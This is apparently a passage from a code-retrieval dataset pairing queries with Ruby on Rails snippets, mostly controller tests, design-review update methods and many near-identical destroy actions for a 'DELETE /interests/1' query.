\"This is a test\"})\n \n mx234a.reload\n\n assert_equal(1, @emails.size)\n email = @emails.pop\n assert_equal('Catalyst/AC/(pcb252_234_a0_g): The Pre-Artwork design ' +\n 'review has been modified by James Light',\n email.subject)\n \n expected_to_list = mx234a_pre_artwork_reviewers.collect { |r| r.email }\n expected_to_list += [bob_g.email, scott_g.email, jan_k.email]\n expected_to_list = expected_to_list.uniq.sort\n expected_cc_list = [rich_m.email].sort\n \n assert_equal(expected_cc_list, email.cc.sort)\n assert_equal(expected_to_list, email.to.sort) \n \n assert_equal(bob_g.name, mx234a.designer.name)\n assert_equal(scott_g.name, mx234a.peer.name)\n assert_equal(jan_k.name, mx234a.input_gate.name)\n \n expected_reviews['Final'] = { :designer => bob_g.name,\n :priority => @low_priority.name,\n :design_center => @fridley.name }\n expected_reviews['Placement'] = { :designer => bob_g.name,\n :priority => @low_priority.name,\n :design_center => @fridley.name }\n expected_reviews['Pre-Artwork'] = { :designer => jan_k.name,\n :priority => @low_priority.name,\n :design_center => @fridley.name }\n expected_reviews['Release'] = { :designer => 'Patrice Michaels',\n :priority => @low_priority.name,\n :design_center => @fridley.name }\n expected_reviews['Routing'] = { :designer => bob_g.name,\n :priority => @low_priority.name,\n :design_center => @fridley.name }\n\n mx234a.design_reviews.each do |design_review|\n assert_equal(expected_reviews[design_review.review_type.name][:designer],\n User.find(design_review.designer_id).name)\n assert_equal(expected_reviews[design_review.review_type.name][:priority],\n Priority.find(design_review.priority_id).name)\n assert_equal(expected_reviews[design_review.review_type.name][:design_center],\n DesignCenter.find(design_review.design_center_id).name)\n end\n\n\n # Set the Pre-Art review to review completed, do an update on the placement \n # review and verify the results.\n mx234a_pre_artwork.reload\n mx234a_pre_artwork.review_status = @review_complete\n mx234a_pre_artwork.save\n mx234a_pre_artwork.reload\n \n mx234a.phase_id = ReviewType.get_placement.id\n mx234a.save\n \n mx234a_placement = design_reviews(:mx234a_placement)\n\n @emails.clear\n post(:process_admin_update,\n :id => mx234a_placement.id,\n :designer => {:id => scott_g.id.to_s},\n :pcb_input_gate => {:id => jan_k.id.to_s},\n :peer => {:id => rich_m.id.to_s},\n :review_status => {:id => review_statuses(:in_review).id.to_s},\n :priority => {:id => @high_priority.id.to_s},\n :release_poster => {:id => release_design_review.designer_id},\n :design_center => {:id => @fridley.id.to_s},\n :post_comment => {:comment => \"Placement Update\"})\n \n mx234a.reload\n\n assert_equal(1, @emails.size)\n email = @emails.pop\n assert_equal('Catalyst/AC/(pcb252_234_a0_g): The Placement design review ' +\n 'has been modified by James Light',\n email.subject)\n\n mx234a_placement_reviewers = [@espo, @heng_k, @lee_s, \n @tom_f, @anthony_g, @rich_a]\n\n expected_to_list = mx234a_placement_reviewers.collect { |r| r.email }\n expected_to_list += [scott_g.email, rich_m.email, jan_k.email]\n expected_to_list = expected_to_list.uniq.sort\n expected_cc_list = [bob_g.email, @cathy_m.email, @jim_l.email, @lisa_a.email].sort\n\n assert_equal(expected_cc_list, email.cc.sort)\n assert_equal(expected_to_list, email.to.sort) \n \n assert_equal(scott_g.name, mx234a.designer.name)\n assert_equal(rich_m.name, mx234a.peer.name)\n assert_equal(jan_k.name, mx234a.input_gate.name)\n \n expected_reviews['Final'] = { :designer => scott_g.name,\n :priority => @high_priority.name,\n :design_center => @fridley.name }\n expected_reviews['Placement'] = { :designer => scott_g.name,\n :priority => @high_priority.name,\n :design_center => @fridley.name }\n expected_reviews['Pre-Artwork'] = { :designer => jan_k.name,\n :priority => @low_priority.name,\n :design_center => @fridley.name }\n expected_reviews['Release'] = { :designer => 'Patrice Michaels',\n :priority => @high_priority.name,\n :design_center => @fridley.name }\n expected_reviews['Routing'] = { :designer => scott_g.name,\n :priority => @high_priority.name,\n :design_center => @fridley.name }\n\n mx234a.design_reviews.each do |design_review|\n assert_equal(expected_reviews[design_review.review_type.name][:designer],\n User.find(design_review.designer_id).name)\n assert_equal(expected_reviews[design_review.review_type.name][:priority],\n Priority.find(design_review.priority_id).name)\n assert_equal(expected_reviews[design_review.review_type.name][:design_center],\n DesignCenter.find(design_review.design_center_id).name)\n end\n \n \n # Set the placement review to review completed, do an update on the routing \n # review and verfiy the results.\n mx234a_placement.reload\n mx234a_placement.review_status = @review_complete\n mx234a_placement.save\n mx234a_placement.reload\n \n mx234a.phase_id = ReviewType.get_routing.id\n mx234a.save\n \n mx234a_routing = design_reviews(:mx234a_routing)\n\n @emails.clear\n post(:process_admin_update,\n :id => mx234a_routing.id,\n :designer => {:id => rich_m.id.to_s},\n :pcb_input_gate => {:id => jan_k.id.to_s},\n :peer => {:id => bob_g.id.to_s},\n :review_status => {:id => review_statuses(:in_review).id.to_s},\n :priority => {:id => @low_priority.id.to_s},\n :release_poster => {:id => release_design_review.designer_id},\n :design_center => {:id => @oregon.id.to_s},\n :post_comment => {:comment => \"Placement Update\"})\n \n mx234a.reload\n \n assert_equal(1, @emails.size)\n email = @emails.pop\n assert_equal('Catalyst/AC/(pcb252_234_a0_g): The Routing design review ' +\n 'has been modified by James Light',\n email.subject)\n\n mx234a_routing_reviewers = [@espo, @heng_k, @lee_s, \n @anthony_g, @dan_g]\n\n expected_to_list = mx234a_routing_reviewers.collect { |r| r.email }\n expected_to_list += [bob_g.email, rich_m.email, jan_k.email]\n expected_to_list = expected_to_list.uniq.sort\n expected_cc_list = [scott_g.email, @jim_l.email, @cathy_m.email].sort\n \n assert_equal(expected_cc_list, email.cc.sort)\n assert_equal(expected_to_list, email.to.sort) \n \n assert_equal(rich_m.name, mx234a.designer.name)\n assert_equal(bob_g.name, mx234a.peer.name)\n assert_equal(jan_k.name, mx234a.input_gate.name)\n \n expected_reviews['Final'] = { :designer => rich_m.name,\n :priority => @low_priority.name,\n :design_center => @oregon.name }\n expected_reviews['Placement'] = { :designer => scott_g.name,\n :priority => @high_priority.name,\n :design_center => @oregon.name }\n expected_reviews['Pre-Artwork'] = { :designer => jan_k.name,\n :priority => @low_priority.name,\n :design_center => @oregon.name }\n expected_reviews['Release'] = { :designer => 'Patrice Michaels',\n :priority => @low_priority.name,\n :design_center => @oregon.name }\n expected_reviews['Routing'] = { :designer => rich_m.name,\n :priority => @low_priority.name,\n :design_center => @oregon.name }\n\n mx234a.design_reviews.each do |design_review|\n assert_equal(expected_reviews[design_review.review_type.name][:designer],\n User.find(design_review.designer_id).name)\n assert_equal(expected_reviews[design_review.review_type.name][:priority],\n Priority.find(design_review.priority_id).name)\n assert_equal(expected_reviews[design_review.review_type.name][:design_center],\n DesignCenter.find(design_review.design_center_id).name)\n end\n\n\n # Set the routing review to review completed, do an update on the final\n # review and verify the results\n mx234a_routing.reload\n mx234a_routing.review_status = @review_complete\n mx234a_routing.save\n mx234a_routing.reload\n \n mx234a.phase_id = ReviewType.get_final.id\n mx234a.save\n \n mx234a_final = design_reviews(:mx234a_final)\n\n @emails.clear\n # Change the designer from Rich to Bob, the peer from Bob to Scott, the priority from\n # low to high, and the design center from oregon to boston.\n post(:process_admin_update,\n :id => mx234a_final.id,\n :designer => {:id => bob_g.id.to_s},\n :pcb_input_gate => {:id => jan_k.id.to_s},\n :peer => {:id => scott_g.id.to_s},\n :review_status => {:id => review_statuses(:in_review).id.to_s},\n :priority => {:id => @high_priority.id.to_s},\n :release_poster => {:id => release_design_review.designer_id},\n :design_center => {:id => @nr.id.to_s},\n :post_comment => {:comment => \"Final Review Update\"})\n \n mx234a.reload\n \n assert_equal(1, @emails.size)\n email = @emails.pop\n assert_equal('Catalyst/AC/(pcb252_234_a0_g): The Final design review has ' +\n 'been modified by James Light',\n email.subject)\n\n mx234a_final_reviewers = [@espo, @heng_k, @lee_s, @anthony_g, \n @jim_l, @tom_f, @matt_d, @rich_a, bob_g]\n\n expected_to_list = mx234a_final_reviewers.collect { |r| r.email }\n expected_to_list += [bob_g.email, scott_g.email, jan_k.email]\n expected_to_list = expected_to_list.uniq.sort\n expected_cc_list = [rich_m.email, @cathy_m.email].sort\n \n assert_equal(expected_cc_list, email.cc.sort)\n assert_equal(expected_to_list, email.to.sort) \n \n assert_equal(bob_g.name, mx234a.designer.name)\n assert_equal(scott_g.name, mx234a.peer.name)\n assert_equal(jan_k.name, mx234a.input_gate.name)\n \n expected_reviews['Final'] = { :designer => bob_g.name,\n :priority => @high_priority.name,\n :design_center => @nr.name }\n expected_reviews['Placement'] = { :designer => scott_g.name,\n :priority => @high_priority.name,\n :design_center => @nr.name }\n expected_reviews['Pre-Artwork'] = { :designer => jan_k.name,\n :priority => @low_priority.name,\n :design_center => @nr.name }\n expected_reviews['Release'] = { :designer => 'Patrice Michaels',\n :priority => @high_priority.name,\n :design_center => @nr.name }\n expected_reviews['Routing'] = { :designer => rich_m.name,\n :priority => @low_priority.name,\n :design_center => @nr.name }\n\n mx234a.design_reviews.each do |design_review|\n assert_equal(expected_reviews[design_review.review_type.name][:designer],\n User.find(design_review.designer_id).name)\n assert_equal(expected_reviews[design_review.review_type.name][:priority],\n Priority.find(design_review.priority_id).name)\n assert_equal(expected_reviews[design_review.review_type.name][:design_center],\n DesignCenter.find(design_review.design_center_id).name)\n end\n \n \n # Set the final review to the review completed, update the designer for the \n # release review and verify the results.\n mx234a_final.reload\n mx234a_final.review_status = @review_complete\n mx234a_final.save\n mx234a_final.reload\n \n mx234a.phase_id = ReviewType.get_release.id\n mx234a.save\n\n mx234a_release = design_reviews(:mx234a_release)\n\n @emails.clear\n # Change the priority from high to low and the design center from boston to oregon.\n post(:process_admin_update,\n :id => mx234a_release.id,\n :designer => {:id => bob_g.id.to_s},\n :pcb_input_gate => {:id => jan_k.id.to_s},\n :peer => {:id => scott_g.id.to_s},\n :review_status => {:id => review_statuses(:in_review).id.to_s},\n :priority => {:id => @low_priority.id.to_s},\n :release_poster => {:id => release_design_review.designer_id},\n :design_center => {:id => @oregon.id.to_s},\n :post_comment => {:comment => \"Final Review Update\"})\n \n mx234a.reload\n \n assert_equal(1, @emails.size)\n email = @emails.pop\n assert_equal('Catalyst/AC/(pcb252_234_a0_g): The Release design review ' +\n 'has been modified by James Light',\n email.subject)\n\n mx234a_routing_reviewers = [@lee_s, @jim_l, @eileen_c]\n\n expected_to_list = mx234a_routing_reviewers.collect { |r| r.email }\n expected_to_list += [bob_g.email, jan_k.email, scott_g.email]\n expected_to_list = expected_to_list.uniq.sort\n expected_cc_list = [users(:patrice_m).email, @cathy_m.email].sort\n \n assert_equal(expected_cc_list, email.cc.sort)\n assert_equal(expected_to_list, email.to.sort) \n \n assert_equal(bob_g.name, mx234a.designer.name)\n assert_equal(scott_g.name, mx234a.peer.name)\n assert_equal(jan_k.name, mx234a.input_gate.name)\n \n expected_reviews['Final'] = { :designer => bob_g.name,\n :priority => @high_priority.name,\n :design_center => @oregon.name }\n expected_reviews['Placement'] = { :designer => scott_g.name,\n :priority => @high_priority.name,\n :design_center => @oregon.name }\n expected_reviews['Pre-Artwork'] = { :designer => jan_k.name,\n :priority => @low_priority.name,\n :design_center => @oregon.name }\n expected_reviews['Release'] = { :designer => 'Patrice Michaels',\n :priority => @low_priority.name,\n :design_center => @oregon.name }\n expected_reviews['Routing'] = { :designer => rich_m.name,\n :priority => @low_priority.name,\n :design_center => @oregon.name }\n\n mx234a.design_reviews.each do |design_review|\n assert_equal(expected_reviews[design_review.review_type.name][:designer],\n User.find(design_review.designer_id).name)\n assert_equal(expected_reviews[design_review.review_type.name][:priority],\n Priority.find(design_review.priority_id).name)\n assert_equal(expected_reviews[design_review.review_type.name][:design_center],\n DesignCenter.find(design_review.design_center_id).name)\n end\n\n end", "title": "" }, { "docid": "07714e6745a10cb3e079a2adb530a6a4", "score": "0.51968724", "text": "def post_pcb_design_results(design_review, review_results)\n\n results = {:success => true,\n :alternate_msg => 'The following updates have been made - '}\n\n audit_skipped = design_review.design.audit.skip?\n \n if !audit_skipped &&\n (review_results[:designer][\"id\"] == '' ||\n review_results[:peer][\"id\"] == '')\n results[:success] = false\n results[:alternate_msg] = 'The Designer and Peer must be specified - results not recorded'\n elsif !audit_skipped &&\n (review_results[:designer][\"id\"] ==\n review_results[:peer][\"id\"])\n results[:success] = false\n results[:alternate_msg] = 'The Designer and Peer must be different - results not recorded'\n elsif audit_skipped && review_results[:designer][\"id\"] == ''\n results[:success] = false\n results[:alternate_msg] = 'The Designer must be specified - results not recorded'\n else\n design = design_review.design\n\n designer = User.find(review_results[:designer][\"id\"])\n design.designer_id = designer.id\n \n priority = Priority.find(review_results[:priority][\"id\"])\n priority_update = design.priority_id != priority.id\n design.priority_id = priority.id\n\n if !audit_skipped\n peer = User.find(review_results[:peer][\"id\"])\n design.peer_id = peer.id\n end\n \n design.save\n \n if !audit_skipped\n if peer.is_a_role_member?(\"Valor\")\n # set Valor reviewer as peer\n design.set_role_reviewer(Role::find_by_name(\"Valor\"), peer, @logged_in_user)\n else\n results[:alternate_msg] += \"Peer, #{peer.name}, does not have Valor reviewer role and was not assigned. \" \n end\n else\n results[:alternate_msg] += 'No Valor reviewer set (Audit Skipped) - '\n end\n\n for review in design.design_reviews\n review.priority_id = priority.id\n if (review.review_type.name != 'Release' &&\n review.review_type.name != 'Pre-Artwork')\n review.designer_id = designer.id\n end\n review.save\n end\n\n results[:alternate_msg] += \"Criticality is #{priority.name}, \" if priority_update\n results[:alternate_msg] += \"The Designer is #{designer.name}\"\n if !audit_skipped\n results[:alternate_msg] += \" and the Peer is #{peer.name}\"\n end\n\n end\n\n return results\n \nend", "title": "" }, { "docid": "5609b2ad180d97349adae635f78f7294", "score": "0.5187171", "text": "def trigger_pipeline\n # The review app URL\n app_url = \"http://#{docs_branch}.#{ENV[\"DOCS_REVIEW_APPS_DOMAIN\"]}/#{slug}\"\n\n # Create the pipeline\n puts \"=> Triggering a pipeline...\"\n pipeline = Gitlab.run_trigger(GITLAB_DOCS_REPO, ENV[\"CI_JOB_TOKEN\"], docs_branch, { param_name => ENV[\"CI_COMMIT_REF_NAME\"] })\n\n puts \"=> Pipeline created:\"\n puts \"\"\n puts \"https://gitlab.com/gitlab-com/gitlab-docs/pipelines/#{pipeline.id}\"\n puts \"\"\n puts \"=> Preview your changes live at:\"\n puts \"\"\n puts app_url\n puts \"\"\nend", "title": "" }, { "docid": "e87033e4dc363c2e5d279a2c9276efb0", "score": "0.518349", "text": "def run_on_changes(_paths)\n jammit\n end", "title": "" }, { "docid": "4914f5003001fd8eda1281e391db931a", "score": "0.51790404", "text": "def edit\n assign_action_parameters\n @prev = Response.where(map_id: @map.id)\n @review_scores = @prev.to_a\n if @prev.present?\n @sorted = @review_scores.sort do |m1, m2|\n if m1.version_num.to_i && m2.version_num.to_i\n m2.version_num.to_i <=> m1.version_num.to_i\n else\n m1.version_num ? -1 : 1\n end\n end\n @largest_version_num = @sorted[0]\n end\n # Added for E1973, team-based reviewing\n @map = @response.map\n if @map.team_reviewing_enabled\n @response = Lock.get_lock(@response, current_user, Lock::DEFAULT_TIMEOUT)\n if @response.nil?\n response_lock_action\n return\n end\n end\n\n @modified_object = @response.response_id\n # set more handy variables for the view\n set_content\n @review_scores = []\n @review_questions.each do |question|\n @review_scores << Answer.where(response_id: @response.response_id, question_id: question.id).first\n end\n @questionnaire = questionnaire_from_response\n render action: 'response'\n end", "title": "" }, { "docid": "84660a21c872eb3389f8a9383fd41bbc", "score": "0.5178347", "text": "def store_reviewed\n read_announcements = extract_read_announcements\n update_read_announcements(read_announcements)\n store_read_announcement(read_announcements)\n\n redirect_to :back\n end", "title": "" }, { "docid": "010faca9f166d08c808cb64cfce67e14", "score": "0.51783395", "text": "def audit_edit\n edit for_approval: true\n end", "title": "" }, { "docid": "396ffb13f769f1489b14e43058e9e8eb", "score": "0.5178237", "text": "def all_reviewed_commits_changes \n all_changes_in_revisions @all_reviewed_commits\n end", "title": "" }, { "docid": "396ffb13f769f1489b14e43058e9e8eb", "score": "0.5178237", "text": "def all_reviewed_commits_changes \n all_changes_in_revisions @all_reviewed_commits\n end", "title": "" } ]
4f086c56de69595171109adcebe0c92d
DELETE /interests/1 DELETE /interests/1.xml
[ { "docid": "a7fe3e5141f16fe1c75c6d13e6e2c641", "score": "0.7526035", "text": "def destroy\n @interest = Interest.find(params[:id])\n @interest.destroy\n\n respond_to do |format|\n format.html { redirect_to(interests_url) }\n format.xml { head :ok }\n end\n end", "title": "" } ]
[ { "docid": "3082c1943e4ece3a4c27427082eb2de4", "score": "0.7428061", "text": "def destroy\n @interest = Interest.find(params[:id])\n @interest.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_interests_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a447f237a0d4cb2b0436f263a473f186", "score": "0.681313", "text": "def destroy\n\t\t@interest = Interest.find(params[:id])\n\t\t@interest.destroy\n\t\trender nothing: true\n\tend", "title": "" }, { "docid": "d750e6c617804560f5f0c04fb3e2d419", "score": "0.6733305", "text": "def destroy\n @shared_interest_point = SharedInterestPoint.find(params[:id])\n @shared_interest_point.destroy\n\n respond_to do |format|\n format.html { redirect_to(shared_interest_points_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "205034f9d75848b118c63349c96df1b0", "score": "0.6715105", "text": "def destroy\n @interest.destroy\n respond_to do |format|\n format.html { redirect_to interests_url, notice: 'Interest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "205034f9d75848b118c63349c96df1b0", "score": "0.6715105", "text": "def destroy\n @interest.destroy\n respond_to do |format|\n format.html { redirect_to interests_url, notice: 'Interest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "205034f9d75848b118c63349c96df1b0", "score": "0.6715105", "text": "def destroy\n @interest.destroy\n respond_to do |format|\n format.html { redirect_to interests_url, notice: 'Interest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "205034f9d75848b118c63349c96df1b0", "score": "0.6715105", "text": "def destroy\n @interest.destroy\n respond_to do |format|\n format.html { redirect_to interests_url, notice: 'Interest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "74cb942a46b4daadcffb62d5f7111ed7", "score": "0.6709624", "text": "def delete_interest(id)\n\t\t@ui = UserInterest.find_by_user_id_and_interest_id(self.id, id)\n\t\tUserInterest.destroy(@ui.id)\n\tend", "title": "" }, { "docid": "581c1d30825dc96e4e7154dd16850c47", "score": "0.66885775", "text": "def destroy\n @profile_interest = ProfileInterest.find(params[:id])\n @profile_interest.destroy\n\n respond_to do |format|\n format.html { redirect_to(profile_interests_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "0622678a44992f97fd1378dbb14ff3d7", "score": "0.66799295", "text": "def destroy\n @point_of_interest = PointOfInterest.find(params[:id])\n @point_of_interest.destroy\n\n respond_to do |format|\n format.html { redirect_to(point_of_interests_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a7f5d572d6152be9ad044b318fa876fb", "score": "0.65866643", "text": "def destroy\n @user_interest = UserInterest.find(params[:id])\n @user_interest.destroy\n\n respond_to do |format|\n format.html { redirect_to user_interests_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "79b9331ba8c3bd93b590f40537b6d2bb", "score": "0.6575427", "text": "def destroy\n @interest.destroy\n respond_to do |format|\n format.html { redirect_to user_person_path(the_user, the_person), notice: 'Interest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "822ddea2e45bf78350003645efcbdb54", "score": "0.6550867", "text": "def delete uri, args = {}; Request.new(DELETE, uri, args).execute; end", "title": "" }, { "docid": "6bad8af37497a5d93b67ba5e2e894b22", "score": "0.6535156", "text": "def destroy\n @dailyinterest = Dailyinterest.find(params[:id])\n @dailyinterest.destroy\n\n respond_to do |format|\n format.html { redirect_to dailyinterests_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "88f1f231482b4aac500366b964f5b03e", "score": "0.6446871", "text": "def destroy\n @api_v1_mentoring_request_interest.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_mentoring_request_interests_url, notice: 'Mentoring request interest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "61c86dfede0f5864265fe7b13076ac13", "score": "0.64358735", "text": "def destroy\n @person_of_interest = PersonOfInterest.find(params[:id])\n @person_of_interest.destroy\n\n respond_to do |format|\n format.html { redirect_to person_of_interests_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b23e598165686b31c7991465b08f262e", "score": "0.6435778", "text": "def destroy\n\n if !params[\"user\"][\"interests\"].nil?\n\n UserInterest.find_by(user_id: current_user.id, interest_id: params[\"user\"][\"interests\"][\"id\"]).delete\n\n render json: {\n interests: current_user.interests\n }\n \n end\n\n end", "title": "" }, { "docid": "a33808c2cc5c3a5723e22973f37890a4", "score": "0.642795", "text": "def destroy\n @interest_point = InterestPoint.find(params[:id])\n @interest_point.destroy\n\n respond_to do |format|\n format.html { redirect_to interest_points_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "71b4a94370da7212edd4663e366b35cd", "score": "0.64119107", "text": "def destroy\n @member_course_interest = MemberCourseInterest.find(params[:id])\n @member_course_interest.destroy\n\n respond_to do |format|\n format.html { redirect_to(member_course_interests_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "9fdefec4736056d8910c74b5a49c004b", "score": "0.6393091", "text": "def destroy\n @rubyist = Rubyist.find(params[:id])\n @rubyist.destroy\n\n respond_to do |format|\n format.html { redirect_to(rubyists_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "9d8c777c0eafb773fb4f1ba3278784ac", "score": "0.6333234", "text": "def destroy\n @interest_calculator = InterestCalculator.find(params[:id])\n @interest_calculator.destroy\n\n respond_to do |format|\n format.html { redirect_to(interest_calculators_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "60e2f3e7bfde2cdbae29697cddc1b0e6", "score": "0.63245773", "text": "def destroy\n @interest_link.destroy\n respond_to do |format|\n format.html { redirect_to interest_links_url, notice: 'El link de interés se ha eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "51722764195baaac6fc4f65b454796f3", "score": "0.6323308", "text": "def destroy\n standard_destroy(InterestCategory, params[:id])\n end", "title": "" }, { "docid": "a7bd707e8abbc9fdab3c9e3d39f42170", "score": "0.63089514", "text": "def destroy\n @common_interest.destroy\n respond_to do |format|\n format.html do\n redirect_to common_interests_url,\n notice: 'Common interest was successfully destroyed.'\n end\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ff7d26874170ebf59fce276dd6865d1c", "score": "0.6298619", "text": "def destroy\n @people_interest.destroy\n respond_to do |format|\n format.html { redirect_to people_interests_url, notice: 'People interest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "128bed9bea766a13fe2af501ac824abf", "score": "0.6286365", "text": "def destroy\n @appreciation = Appreciation.find(params[:id])\n @appreciation.destroy\n\n respond_to do |format|\n format.html { redirect_to(appreciations_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "cb81059b2d91fba89a61dd46d92d6bc1", "score": "0.62845004", "text": "def destroy\n @interest_news.destroy\n respond_to do |format|\n format.html { redirect_to interest_news_index_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8a6f1c1ebf404618afd90c0562c88af8", "score": "0.62735295", "text": "def destroy\n @api_v1_mentoring_interest.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_mentoring_interests_url, notice: 'Mentoring interest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1691790ee2ee34cc8e6be6f7bb8d7f8d", "score": "0.6268668", "text": "def delete\n client.delete uri\n end", "title": "" }, { "docid": "1691790ee2ee34cc8e6be6f7bb8d7f8d", "score": "0.6268668", "text": "def delete\n client.delete uri\n end", "title": "" }, { "docid": "bb668aa3e23b7e23f24969b38f2172aa", "score": "0.62626743", "text": "def destroy\n @interview = Interview.find(params[:id])\n @interview.destroy\n\n respond_to do |format|\n format.html { redirect_to(interviews_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "bb668aa3e23b7e23f24969b38f2172aa", "score": "0.62626743", "text": "def destroy\n @interview = Interview.find(params[:id])\n @interview.destroy\n\n respond_to do |format|\n format.html { redirect_to(interviews_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "b965aa2e76649b84623ed925811f4794", "score": "0.6258531", "text": "def delete(_path)\n end", "title": "" }, { "docid": "4100b1ba27a9a751bb11d54b45e1aeb1", "score": "0.62574875", "text": "def delete(path);end", "title": "" }, { "docid": "4100b1ba27a9a751bb11d54b45e1aeb1", "score": "0.62574875", "text": "def delete(path);end", "title": "" }, { "docid": "63fbb702846a88631395e13e4a7710a5", "score": "0.6252957", "text": "def destroy\n @research_interest.destroy\n respond_to do |format|\n format.html { redirect_to research_interests_url, notice: 'Research interest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2d998746a98782084433f25fab5de6d1", "score": "0.62118703", "text": "def destroy\n Interest.find(params[:id]).destroy\n\n redirect_to current_user\n end", "title": "" }, { "docid": "c204f551fcb02404f0d6491e9d114aee", "score": "0.62098265", "text": "def destroy\n @income = Income.find(params[:id])\n @income.destroy\n\n respond_to do |format|\n format.html { redirect_to(incomes_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6f24660bd2ae3e56262ca20b917466e6", "score": "0.61818343", "text": "def destroy\n @mma_interest.destroy\n respond_to do |format|\n format.html { redirect_to mma_interests_url, notice: 'Mma interest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fdb5222e60f67418931a74e6eb7c9a1d", "score": "0.6152971", "text": "def delete\n GoodData.delete(uri)\n end", "title": "" }, { "docid": "b949f5248bd611bb5af53acbe0bfdace", "score": "0.61495453", "text": "def destroy\n @interview = Interview.find(params[:id])\n @interview.destroy\n\n respond_to do |format|\n format.html { redirect_to(hiring_interviews_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "02ba39c117c1a85994c3724c980b8284", "score": "0.61434793", "text": "def destroy\n @point_of_interest = PointOfInterest.find(params[:id])\n @point_of_interest.destroy\n\n respond_to do |format|\n format.html { redirect_to point_of_interests_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fc3eb0b40adbc43eb3489d677b8dd7ff", "score": "0.608752", "text": "def destroy\n @interest_list.destroy\n respond_to do |format|\n format.html { redirect_to interest_lists_url, notice: 'Interest list was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a7a293210242a1290afb3c986e1c2211", "score": "0.6071839", "text": "def delete!\n CouchDB.delete( uri )\n end", "title": "" }, { "docid": "a7a293210242a1290afb3c986e1c2211", "score": "0.6071839", "text": "def delete!\n CouchDB.delete( uri )\n end", "title": "" }, { "docid": "2148e2fd9383c12872890f51efee3615", "score": "0.6069208", "text": "def delete\n begin\n task_id = \"#{@file}\".gsub(/\\.\\/singularity\\//, \"\").gsub(/\\.json/, \"\")\n # delete the request\n RestClient.delete \"#{@uri}/api/requests/request/#{task_id}\"\n puts \"#{task_id} DELETED\"\n rescue\n puts \"#{task_id} #{$!.response}\"\n end\n end", "title": "" }, { "docid": "ba67ebd85114998e01be10599c8943ca", "score": "0.60642004", "text": "def delete(path)\n RestClient.delete request_base+path\n end", "title": "" }, { "docid": "154c59684aeaaa8bf436b9a9ca71a344", "score": "0.60637623", "text": "def destroy\n @membershipagree = Membershipagree.find(params[:id])\n @membershipagree.destroy\n\n respond_to do |format|\n format.html { redirect_to(membershipagrees_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "a92ef2395fc5f2a9bd6b22445136f543", "score": "0.6060909", "text": "def destroy\n @cite = Cite.find(params[:id])\n @cite.destroy\n\n respond_to do |format|\n format.html { redirect_to(cites_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "0397dbc59b71cff99b2821a4d7641ed0", "score": "0.6057395", "text": "def destroy\n @interested = Interested.find(params[:id])\n @interested.destroy\n\n respond_to do |format|\n format.html { redirect_to interesteds_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "89e8930867f57acf8f7122e295e2030f", "score": "0.60502404", "text": "def destroy\n @example = Example.find(params[:id])\n @example.destroy\n\n respond_to do |format|\n format.html { redirect_to(examples_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "b0f1a491fb3d7b1d3af95c36e2b72223", "score": "0.6046856", "text": "def destroy\n @interest_type.destroy\n respond_to do |format|\n format.html { redirect_to interest_types_url, notice: 'Interest type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9106867cee9e8775ba817195d3bc2020", "score": "0.6044599", "text": "def delete_rest(path) \n run_request(:DELETE, create_url(path)) \n end", "title": "" }, { "docid": "57b799133d29316426c358002043baa2", "score": "0.6042502", "text": "def delete_rest(path, headers={}) \n run_request(:DELETE, create_url(path), headers) \n end", "title": "" }, { "docid": "b6a205243ccec1f14316473b71f41933", "score": "0.6036562", "text": "def destroy\n @indication = Indication.find(params[:id])\n @indication.destroy\n\n respond_to do |format|\n format.html { redirect_to(indications_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.60327375", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.60327375", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.60327375", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": "0.60327375", "text": "def delete; end", "title": "" }, { "docid": "36887f2b24d31f98fbb51687409e73f6", "score": 